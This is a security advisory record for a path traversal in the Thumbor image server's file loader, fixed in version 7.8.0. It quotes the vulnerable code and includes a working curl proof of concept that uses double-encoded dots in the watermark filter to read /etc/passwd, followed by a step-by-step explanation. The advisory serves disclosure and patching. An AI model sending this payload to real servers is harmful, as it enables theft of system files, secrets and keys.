{"id":"PYSEC-2026-3618","summary":"Thumbor has path traversal via post-validation URL decoding bypass in file_loader","details":"The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.\n\n## Affected code\n\n`thumbor/loaders/file_loader.py` lines 28-49:\n```python\nasync def load(context, path):\n    file_path = join(\n        context.config.FILE_LOADER_ROOT_PATH.rstrip(\"/\"), path.lstrip(\"/\")\n    )\n    file_path = abspath(file_path)\n    inside_root_path = file_path.startswith(         # Security check\n        abspath(context.config.FILE_LOADER_ROOT_PATH)\n    )\n    result = LoaderResult()\n    if not inside_root_path:\n        result.error = LoaderResult.ERROR_NOT_FOUND\n        result.successful = False\n        return result\n\n    if not exists(file_path):\n        file_path = unquote(file_path)               # unquote AFTER check!\n\n    if exists(file_path) and isfile(file_path):\n        with open(file_path, \"rb\") as source_file:\n            ...\n```\n\nThe watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).\n\n## PoC\n\n```bash\n# Read /etc/passwd via watermark filter path traversal\n# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,\n# file_loader unquote decodes %2e to .\ncurl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'\n```\n\nFlow:\n1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`\n2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader\n3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...`\n4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)\n5. `startswith(ROOT)` = True (passes check)\n6. `exists()` returns False (literal `%2e%2e` dir doesn't exist)\n7. `unquote()` converts `%2e%2e` to `..`\n8. OS resolves `..` → reads files outside ROOT\n\n## Prerequisites\n\n- `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)\n- `ALLOW_UNSAFE_URL = True` (this is the default)\n- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)\n\n## Impact\n\nArbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.","aliases":["CVE-2026-53502","GHSA-cj54-hpcc-gj6h"],"modified":"2026-08-04T14:30:17.840498063Z","published":"2026-08-04T11:34:46.521252Z","references":[{"type":"WEB","url":"https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h"},{"type":"WEB","url":"https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d"},{"type":"PACKAGE","url":"https://github.com/thumbor/thumbor"},{"type":"WEB","url":"https://github.com/thumbor/thumbor/releases/tag/7.8.0"},{"type":"PACKAGE","url":"https://pypi.org/project/thumbor"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cj54-hpcc-gj6h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53502"}],"affected":[{"package":{"name":"thumbor","ecosystem":"PyPI","purl":"pkg:pypi/thumbor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.8.0"}]}],"versions":["4.1.3","4.10.0","4.10.1","4.10.2","4.10.3","4.11.0","4.11.1","4.12.0","4.12.1","4.12.2","4.4.1","4.5.3","4.5.4","4.6.0","4.7.0","4.7.1","4.8.0","4.8.1","4.8.2","4.8.3","4.8.4","4.8.5","4.8.6","4.9.0","4.9.1","5.0.0","5.0.0rc1","5.0.0rc2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.1.0","5.2.0","5.2.1","6.0.0","6.0.0b1","6.0.0b2","6.0.0b3","6.0.0b4","6.0.0b5","6.0.1","6.0.2","6.1.0","6.1.1","6.1.2","6.1.3","6.1.4","6.1.5","6.2.0","6.2.1","6.3.0","6.3.1","6.3.2","6.4.0","6.4.1","6.4.2","6.4.3","6.5.0","6.5.1","6.5.2","6.6.0","6.6.1","6.7.0","6.7.1","6.7.2","6.7.3","6.7.4","6.7.5","6.7.6","7.0.0","7.0.0a1","7.0.0a2","7.0.0a3","7.0.0a4","7.0.0a5","7.0.0b1","7.0.1","7.0.10","7.0.11","7.0.12","7.0.2","7.0.3","7.0.5","7.0.6","7.0.7","7.0.8","7.0.9","7.1.0","7.1.1","7.1.2","7.2.0","7.2.1","7.3.0","7.3.1","7.3.2","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.4.7","7.5.0","7.5.1","7.5.2","7.6.0","7.7.0","7.7.1","7.7.2","7.7.3","7.7.4","7.7.5","7.7.6","7.7.7"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/thumbor/PYSEC-2026-3618.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}